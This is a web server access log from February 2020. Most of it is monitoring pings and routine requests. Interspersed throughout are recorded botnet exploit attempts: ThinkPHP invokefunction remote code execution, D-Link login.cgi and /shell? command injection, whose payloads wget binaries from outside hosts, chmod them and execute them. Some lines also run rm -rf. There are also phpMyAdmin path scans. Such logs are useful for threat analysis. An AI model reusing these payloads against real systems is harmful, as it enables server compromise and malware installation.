119.207.195.52 - - [08/Feb/2020:07:21:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.103.204.44 - - [08/Feb/2020:07:22:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
121.87.249.194 - - [08/Feb/2020:07:23:02 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:07:23:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:07:23:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:07:23:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:07:23:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [08/Feb/2020:07:23:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:07:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
74.80.28.217 - - [08/Feb/2020:07:24:48 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
79.61.150.203 - - [08/Feb/2020:07:25:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.198.38 - - [08/Feb/2020:07:27:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.162.144.51 - - [08/Feb/2020:07:33:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:07:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
148.71.44.68 - - [08/Feb/2020:07:34:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.196.66 - - [08/Feb/2020:07:35:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.92.239.193 - - [08/Feb/2020:07:36:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [08/Feb/2020:07:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.251.244 - - [08/Feb/2020:07:37:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
114.40.112.37 - - [08/Feb/2020:07:37:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [08/Feb/2020:07:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.165.117.43 - - [08/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [08/Feb/2020:07:39:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.25.204.96 - - [08/Feb/2020:07:42:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.85.162.13 - - [08/Feb/2020:07:42:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.20.60.231 - - [08/Feb/2020:07:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.20.60.231 - - [08/Feb/2020:07:43:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.55.97.249 - - [08/Feb/2020:07:45:59 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:07:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.118.73.113 - - [08/Feb/2020:07:49:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.228.6.111 - - [08/Feb/2020:07:49:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [08/Feb/2020:07:50:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [08/Feb/2020:07:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.104.167.52 - - [08/Feb/2020:07:51:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [08/Feb/2020:07:53:44 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
80.82.70.118 - - [08/Feb/2020:07:53:47 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.70.118 - - [08/Feb/2020:07:55:13 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
212.91.246.72 - - [08/Feb/2020:07:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.119.30.79 - - [08/Feb/2020:07:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
71.6.199.23 - - [08/Feb/2020:07:56:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.199.23 - - [08/Feb/2020:07:56:19 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.199.23 - - [08/Feb/2020:07:56:20 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.199.23 - - [08/Feb/2020:07:56:20 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.199.23 - - [08/Feb/2020:07:56:21 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.19.1"
188.165.236.25 - - [08/Feb/2020:07:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [08/Feb/2020:07:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.144.188 - - [08/Feb/2020:07:57:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:07:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.67.24 - - [08/Feb/2020:07:59:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:07:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [08/Feb/2020:08:00:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.216.228 - - [08/Feb/2020:08:00:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.213.2 - - [08/Feb/2020:08:01:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.218.199.162 - - [08/Feb/2020:08:06:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [08/Feb/2020:08:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.74.254 - - [08/Feb/2020:08:08:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:08:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:08:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.213.198.90 - - [08/Feb/2020:08:14:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:08:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.222.208 - - [08/Feb/2020:08:15:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.134.17.3 - - [08/Feb/2020:08:15:39 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:39 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:40 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:40 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:40 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:40 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:41 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:41 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:41 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:42 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:08:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.134.17.3 - - [08/Feb/2020:08:15:42 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:42 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:43 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:43 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:43 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:43 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:44 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:44 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:44 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:45 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:45 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:45 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:45 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:46 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:46 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
78.134.17.3 - - [08/Feb/2020:08:15:46 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
